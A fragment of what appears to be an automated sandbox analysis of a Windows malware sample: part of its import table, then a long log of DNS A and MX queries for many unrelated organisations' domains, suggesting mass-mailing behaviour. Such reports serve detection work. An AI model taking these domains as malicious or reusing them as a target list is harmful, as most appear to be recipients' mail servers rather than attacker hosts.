WideCharToMultiByte, GetEnvironmentStringsW, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, HeapReAlloc, GetModuleHandleA, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, SetStdHandle, FlushFileBuffers, HeapSize, GetLocaleInfoA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, CreateFileA
USER32.dll	GetMessageExtraInfo, CharToOemBuffA
GDI32.dll	GetCharWidth32A, GetCharABCWidthsFloatW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2023 06:59:28.004465103 CET	192.168.2.4	1.1.1.1	0x7f19	Standard query (0)	gethsemane.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.004698992 CET	192.168.2.4	1.1.1.1	0x9cca	Standard query (0)	lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.004976988 CET	192.168.2.4	1.1.1.1	0x6c06	Standard query (0)	student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.005405903 CET	192.168.2.4	1.1.1.1	0x41f0	Standard query (0)	killicit.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.005650997 CET	192.168.2.4	1.1.1.1	0x90fd	Standard query (0)	greenrworld.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.005990028 CET	192.168.2.4	1.1.1.1	0xf6b6	Standard query (0)	aoiit.store	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.006275892 CET	192.168.2.4	1.1.1.1	0xcff4	Standard query (0)	paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.006745100 CET	192.168.2.4	1.1.1.1	0x250f	Standard query (0)	townshipnjr.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.006745100 CET	192.168.2.4	1.1.1.1	0xc4e3	Standard query (0)	bunasta.eu	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.007086039 CET	192.168.2.4	1.1.1.1	0x2c79	Standard query (0)	gasp-ga.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.015261889 CET	192.168.2.4	1.1.1.1	0xe6db	Standard query (0)	my.calvary.qld.edu.au	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.018467903 CET	192.168.2.4	1.1.1.1	0xd978	Standard query (0)	knu.ac.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.022460938 CET	192.168.2.4	1.1.1.1	0xeb93	Standard query (0)	student.debritto.sch.id	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.045140982 CET	192.168.2.4	1.1.1.1	0xbfe7	Standard query (0)	student.debritto.sch.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048140049 CET	192.168.2.4	1.1.1.1	0x4c8f	Standard query (0)	bvhrs.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048204899 CET	192.168.2.4	1.1.1.1	0x5583	Standard query (0)	paintd.plus.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048414946 CET	192.168.2.4	1.1.1.1	0x35fa	Standard query (0)	eco-landeck.at	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048583984 CET	192.168.2.4	1.1.1.1	0xc3a4	Standard query (0)	killicit.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048661947 CET	192.168.2.4	1.1.1.1	0x1ad4	Standard query (0)	cardenas.mtz.rimed.cu	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048877954 CET	192.168.2.4	1.1.1.1	0x42c7	Standard query (0)	krkconcord.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.048927069 CET	192.168.2.4	1.1.1.1	0x7bc1	Standard query (0)	gethsemane.org	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.049220085 CET	192.168.2.4	1.1.1.1	0x7f5e	Standard query (0)	student.ub.ac.id	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.052344084 CET	192.168.2.4	1.1.1.1	0x365a	Standard query (0)	townshipnjr.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.054670095 CET	192.168.2.4	1.1.1.1	0xa78d	Standard query (0)	my.calvary.qld.edu.au	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.054768085 CET	192.168.2.4	1.1.1.1	0x38e0	Standard query (0)	t1eng.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.055088043 CET	192.168.2.4	1.1.1.1	0x305d	Standard query (0)	eco-landeck.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.055440903 CET	192.168.2.4	1.1.1.1	0x8dd0	Standard query (0)	knu.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.056381941 CET	192.168.2.4	1.1.1.1	0x968d	Standard query (0)	esistem.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.056689978 CET	192.168.2.4	1.1.1.1	0xa7c8	Standard query (0)	krkconcord.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.057003975 CET	192.168.2.4	1.1.1.1	0xbb39	Standard query (0)	cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.057821989 CET	192.168.2.4	1.1.1.1	0x151a	Standard query (0)	t1eng.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.060333967 CET	192.168.2.4	1.1.1.1	0xfc8b	Standard query (0)	lwindowelive.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.060410023 CET	192.168.2.4	1.1.1.1	0x496a	Standard query (0)	greenrworld.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.061840057 CET	192.168.2.4	1.1.1.1	0x5f89	Standard query (0)	midcapfunding.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.062242985 CET	192.168.2.4	1.1.1.1	0x3c81	Standard query (0)	rdelealtad.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.062300920 CET	192.168.2.4	1.1.1.1	0x1cf6	Standard query (0)	octetpowers.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.062903881 CET	192.168.2.4	1.1.1.1	0x3e99	Standard query (0)	students.kasralainy.edu.eg	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.064069033 CET	192.168.2.4	1.1.1.1	0x5101	Standard query (0)	rechagricola.com.br	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.064163923 CET	192.168.2.4	1.1.1.1	0xcff3	Standard query (0)	esistem.com.br	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.064500093 CET	192.168.2.4	1.1.1.1	0x263b	Standard query (0)	carelesscommunity.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.065857887 CET	192.168.2.4	1.1.1.1	0x18e5	Standard query (0)	americanrecords.it	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.065990925 CET	192.168.2.4	1.1.1.1	0xb9d9	Standard query (0)	aoiit.store	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.067384958 CET	192.168.2.4	1.1.1.1	0x5f51	Standard query (0)	macisis.co.uk	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.067576885 CET	192.168.2.4	1.1.1.1	0xf2ae	Standard query (0)	edgewater.group	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.067647934 CET	192.168.2.4	1.1.1.1	0xed4b	Standard query (0)	gspousea.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.069452047 CET	192.168.2.4	1.1.1.1	0x554a	Standard query (0)	rochester-gauges.be	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.071875095 CET	192.168.2.4	1.1.1.1	0xbca9	Standard query (0)	linkan-group.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.072112083 CET	192.168.2.4	1.1.1.1	0xee12	Standard query (0)	gruporegiosafety.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.073939085 CET	192.168.2.4	1.1.1.1	0x1721	Standard query (0)	directlendersllc.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.074201107 CET	192.168.2.4	1.1.1.1	0xcd1b	Standard query (0)	avient.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.074314117 CET	192.168.2.4	1.1.1.1	0xcfb8	Standard query (0)	mdystudent.net	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.074541092 CET	192.168.2.4	1.1.1.1	0xcf16	Standard query (0)	wasserman.us	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.074656963 CET	192.168.2.4	1.1.1.1	0xdfa9	Standard query (0)	wonka.cc	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.074919939 CET	192.168.2.4	1.1.1.1	0xaf49	Standard query (0)	sofia-communications.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.077327013 CET	192.168.2.4	1.1.1.1	0x8704	Standard query (0)	micro-design.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.079413891 CET	192.168.2.4	1.1.1.1	0x1eb4	Standard query (0)	jamiesonmullin.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.079539061 CET	192.168.2.4	1.1.1.1	0xf4dc	Standard query (0)	wonka.cc	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.080050945 CET	192.168.2.4	1.1.1.1	0x8c4b	Standard query (0)	sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.082374096 CET	192.168.2.4	1.1.1.1	0x615c	Standard query (0)	lgs-strategies.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.082726955 CET	192.168.2.4	1.1.1.1	0xbb2d	Standard query (0)	directlendersllc.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.083158016 CET	192.168.2.4	1.1.1.1	0x8980	Standard query (0)	daisyokogyo.co.jp	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.083367109 CET	192.168.2.4	1.1.1.1	0x9efc	Standard query (0)	adm.uksw.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.083897114 CET	192.168.2.4	1.1.1.1	0xc10f	Standard query (0)	jamiesonmullin.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.088761091 CET	192.168.2.4	1.1.1.1	0x7c50	Standard query (0)	nohonetworks.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.090339899 CET	192.168.2.4	1.1.1.1	0x7567	Standard query (0)	dstaq.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.091118097 CET	192.168.2.4	1.1.1.1	0xff82	Standard query (0)	yahoo.comfreezed	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.091634035 CET	192.168.2.4	1.1.1.1	0x8f7d	Standard query (0)	mdystudent.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.092367887 CET	192.168.2.4	1.1.1.1	0x28a3	Standard query (0)	schor.be	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.094958067 CET	192.168.2.4	1.1.1.1	0x9771	Standard query (0)	pixiil.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.101593971 CET	192.168.2.4	1.1.1.1	0x1806	Standard query (0)	ondania.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.120064974 CET	192.168.2.4	1.1.1.1	0xc83a	Standard query (0)	hightideinc.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.120743036 CET	192.168.2.4	1.1.1.1	0xd837	Standard query (0)	2l7g4s.us	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.121659994 CET	192.168.2.4	1.1.1.1	0xf9a6	Standard query (0)	privatemoe.ae	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.122195959 CET	192.168.2.4	1.1.1.1	0x2701	Standard query (0)	bayambnag.gov.ph	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.124308109 CET	192.168.2.4	1.1.1.1	0x261e	Standard query (0)	cringemonster.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.124748945 CET	192.168.2.4	1.1.1.1	0x9371	Standard query (0)	integraledu.hr	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.126100063 CET	192.168.2.4	1.1.1.1	0xf937	Standard query (0)	tradeavenida.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.126450062 CET	192.168.2.4	1.1.1.1	0x6b7f	Standard query (0)	prettypollycleaning.ae	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.127222061 CET	192.168.2.4	1.1.1.1	0xbb7f	Standard query (0)	grantstech.io	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.127901077 CET	192.168.2.4	1.1.1.1	0x3d8c	Standard query (0)	gmail.io	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.128842115 CET	192.168.2.4	1.1.1.1	0x383e	Standard query (0)	lumaruniformes.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.131340981 CET	192.168.2.4	1.1.1.1	0x466f	Standard query (0)	rdelealtad.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.132989883 CET	192.168.2.4	1.1.1.1	0xe813	Standard query (0)	talentius.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.133189917 CET	192.168.2.4	1.1.1.1	0xf157	Standard query (0)	hmichaelandco.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.136945009 CET	192.168.2.4	1.1.1.1	0x955e	Standard query (0)	xtsagency.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.145113945 CET	192.168.2.4	1.1.1.1	0x1546	Standard query (0)	himontessori.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.216057062 CET	192.168.2.4	1.1.1.1	0x89d4	Standard query (0)	gatewaytoearlylearning.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.216958046 CET	192.168.2.4	1.1.1.1	0x7d1c	Standard query (0)	linkan-group.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.221251965 CET	192.168.2.4	1.1.1.1	0x9540	Standard query (0)	bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.221945047 CET	192.168.2.4	1.1.1.1	0x7b49	Standard query (0)	gasp-ga.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.223115921 CET	192.168.2.4	1.1.1.1	0xc043	Standard query (0)	bvhrs.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.225862980 CET	192.168.2.4	1.1.1.1	0x830b	Standard query (0)	rechagricola.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.226552010 CET	192.168.2.4	1.1.1.1	0xb6ad	Standard query (0)	gruporegiosafety.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.226990938 CET	192.168.2.4	1.1.1.1	0x52a6	Standard query (0)	esoft.academy	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.228199005 CET	192.168.2.4	1.1.1.1	0x1907	Standard query (0)	octetpowers.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.229398966 CET	192.168.2.4	1.1.1.1	0xf88b	Standard query (0)	micro-design.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.232182980 CET	192.168.2.4	1.1.1.1	0x3ee7	Standard query (0)	wasserman.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.233062983 CET	192.168.2.4	1.1.1.1	0xb8c6	Standard query (0)	avient.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.236586094 CET	192.168.2.4	1.1.1.1	0xd87d	Standard query (0)	hmichaelandco.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.243895054 CET	192.168.2.4	1.1.1.1	0x3e42	Standard query (0)	students.kasralainy.edu.eg	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.244719028 CET	192.168.2.4	1.1.1.1	0xcd6b	Standard query (0)	lumaruniformes.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.249351025 CET	192.168.2.4	1.1.1.1	0xa17	Standard query (0)	ibright.net	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.259252071 CET	192.168.2.4	1.1.1.1	0x5623	Standard query (0)	harasduberry.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262810946 CET	192.168.2.4	1.1.1.1	0xc3bc	Standard query (0)	daisyokogyo.co.jp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.265153885 CET	192.168.2.4	1.1.1.1	0x20e2	Standard query (0)	adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.268301010 CET	192.168.2.4	1.1.1.1	0xd06e	Standard query (0)	nohonetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.273514986 CET	192.168.2.4	1.1.1.1	0xcc41	Standard query (0)	carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.275744915 CET	192.168.2.4	1.1.1.1	0xdf5a	Standard query (0)	gccb.co.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.278903008 CET	192.168.2.4	1.1.1.1	0xaf1b	Standard query (0)	dstaq.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.279320002 CET	192.168.2.4	1.1.1.1	0x9674	Standard query (0)	highstreet-re.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.280059099 CET	192.168.2.4	1.1.1.1	0x23af	Standard query (0)	yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.281794071 CET	192.168.2.4	1.1.1.1	0x69c6	Standard query (0)	beachrecruitment.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.282552004 CET	192.168.2.4	1.1.1.1	0x50b3	Standard query (0)	dkrs.gov.ua	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.282846928 CET	192.168.2.4	1.1.1.1	0x58f9	Standard query (0)	schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.285028934 CET	192.168.2.4	1.1.1.1	0x5a19	Standard query (0)	gmailvz.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.309341908 CET	192.168.2.4	1.1.1.1	0xaee3	Standard query (0)	midcapfunding.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.310399055 CET	192.168.2.4	1.1.1.1	0xaea	Standard query (0)	ondania.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.310575962 CET	192.168.2.4	1.1.1.1	0x8e59	Standard query (0)	kvsroraipur.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.310846090 CET	192.168.2.4	1.1.1.1	0xf9f9	Standard query (0)	gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.311156034 CET	192.168.2.4	1.1.1.1	0xfa9f	Standard query (0)	macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.311511993 CET	192.168.2.4	1.1.1.1	0x637c	Standard query (0)	maxiv.lu.se	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.312036991 CET	192.168.2.4	1.1.1.1	0xd9f2	Standard query (0)	capforge.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.312407017 CET	192.168.2.4	1.1.1.1	0x6bd6	Standard query (0)	himontessori.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.312832117 CET	192.168.2.4	1.1.1.1	0xcdf5	Standard query (0)	rochester-gauges.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.313119888 CET	192.168.2.4	1.1.1.1	0x698f	Standard query (0)	mnit.uc.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.313554049 CET	192.168.2.4	1.1.1.1	0x22a6	Standard query (0)	srmist.edu.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.313874960 CET	192.168.2.4	1.1.1.1	0xd24b	Standard query (0)	americanrecords.it	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.314155102 CET	192.168.2.4	1.1.1.1	0x4aa8	Standard query (0)	lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.314390898 CET	192.168.2.4	1.1.1.1	0x493f	Standard query (0)	edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.314656019 CET	192.168.2.4	1.1.1.1	0xbf0	Standard query (0)	pixiil.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.315645933 CET	192.168.2.4	1.1.1.1	0x9303	Standard query (0)	ce-logic.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.327740908 CET	192.168.2.4	1.1.1.1	0x8ccc	Standard query (0)	unaj.edu.pe	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.329128981 CET	192.168.2.4	1.1.1.1	0xebc9	Standard query (0)	nakupher.cz	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.329341888 CET	192.168.2.4	1.1.1.1	0xa8f2	Standard query (0)	quipuapp.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.329663992 CET	192.168.2.4	1.1.1.1	0xce54	Standard query (0)	2brosandahosepressurewashing.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.329963923 CET	192.168.2.4	1.1.1.1	0x96f1	Standard query (0)	xegge.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.330447912 CET	192.168.2.4	1.1.1.1	0x20e8	Standard query (0)	pasarjohar.biz	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.330804110 CET	192.168.2.4	1.1.1.1	0x4151	Standard query (0)	coralparkchristian.org	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.331197977 CET	192.168.2.4	1.1.1.1	0xcb05	Standard query (0)	chandigarhuniversityazure.onmicrosoft.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.331461906 CET	192.168.2.4	1.1.1.1	0x8cce	Standard query (0)	upn.pe	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.331953049 CET	192.168.2.4	1.1.1.1	0xcc35	Standard query (0)	engel-firm.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.332109928 CET	192.168.2.4	1.1.1.1	0x99bc	Standard query (0)	samson.pe	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.332756996 CET	192.168.2.4	1.1.1.1	0xbb23	Standard query (0)	viidelta.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.334819078 CET	192.168.2.4	1.1.1.1	0xc723	Standard query (0)	grg17geblergasse.at	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.335365057 CET	192.168.2.4	1.1.1.1	0x131b	Standard query (0)	kappablu.de	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.335380077 CET	192.168.2.4	1.1.1.1	0xada8	Standard query (0)	schmith.net	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.335968971 CET	192.168.2.4	1.1.1.1	0x69e	Standard query (0)	robinsonland.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.337172985 CET	192.168.2.4	1.1.1.1	0xd372	Standard query (0)	y3.qj51acp	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.337789059 CET	192.168.2.4	1.1.1.1	0x23d1	Standard query (0)	tcetmumbai.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.337927103 CET	192.168.2.4	1.1.1.1	0x2a7f	Standard query (0)	utlinks.om	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.338421106 CET	192.168.2.4	1.1.1.1	0x6f88	Standard query (0)	tiswheels.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.339344978 CET	192.168.2.4	1.1.1.1	0x58b3	Standard query (0)	perrisesd.org	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.340042114 CET	192.168.2.4	1.1.1.1	0xe93b	Standard query (0)	locandafrancigena.it	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.340998888 CET	192.168.2.4	1.1.1.1	0x722d	Standard query (0)	member3.co.za	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.341543913 CET	192.168.2.4	1.1.1.1	0x80b	Standard query (0)	webstamp.ca	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.341933966 CET	192.168.2.4	1.1.1.1	0x5b43	Standard query (0)	dbschooldelhi.ac.in	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.342573881 CET	192.168.2.4	1.1.1.1	0x4bf7	Standard query (0)	ceuandalucia.es	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.342895985 CET	192.168.2.4	1.1.1.1	0x12fb	Standard query (0)	svenssonfriends.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.343750954 CET	192.168.2.4	1.1.1.1	0x8292	Standard query (0)	digdig.org	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.344104052 CET	192.168.2.4	1.1.1.1	0x1655	Standard query (0)	leeberg.dk	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.344536066 CET	192.168.2.4	1.1.1.1	0x5785	Standard query (0)	firemailbox.club	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.344788074 CET	192.168.2.4	1.1.1.1	0xe3ef	Standard query (0)	ardcrushing.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.345586061 CET	192.168.2.4	1.1.1.1	0x6774	Standard query (0)	financefast.com.br	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.345685005 CET	192.168.2.4	1.1.1.1	0x4aa9	Standard query (0)	heathcotebarr.eu	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.346395969 CET	192.168.2.4	1.1.1.1	0xc9b0	Standard query (0)	ippals.com	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.347836971 CET	192.168.2.4	1.1.1.1	0x75e9	Standard query (0)	bosworthacademy.org	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.347924948 CET	192.168.2.4	1.1.1.1	0xcf2a	Standard query (0)	federwild.at	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.348676920 CET	192.168.2.4	1.1.1.1	0x977d	Standard query (0)	awb-apparatebau.de	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.349302053 CET	192.168.2.4	1.1.1.1	0x7cb	Standard query (0)	privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.349490881 CET	192.168.2.4	1.1.1.1	0x6fdf	Standard query (0)	2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.349639893 CET	192.168.2.4	1.1.1.1	0xe0c9	Standard query (0)	talentius.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.539999008 CET	192.168.2.4	1.1.1.1	0x7916	Standard query (0)	cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.540668964 CET	192.168.2.4	1.1.1.1	0x6a4	Standard query (0)	tradeavenida.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.591478109 CET	192.168.2.4	1.1.1.1	0x39cd	Standard query (0)	integraledu.hr	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.605851889 CET	192.168.2.4	1.1.1.1	0x6111	Standard query (0)	gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.619487047 CET	192.168.2.4	1.1.1.1	0xa3cb	Standard query (0)	prettypollycleaning.ae	A (IP address)	IN (0x0001)	false
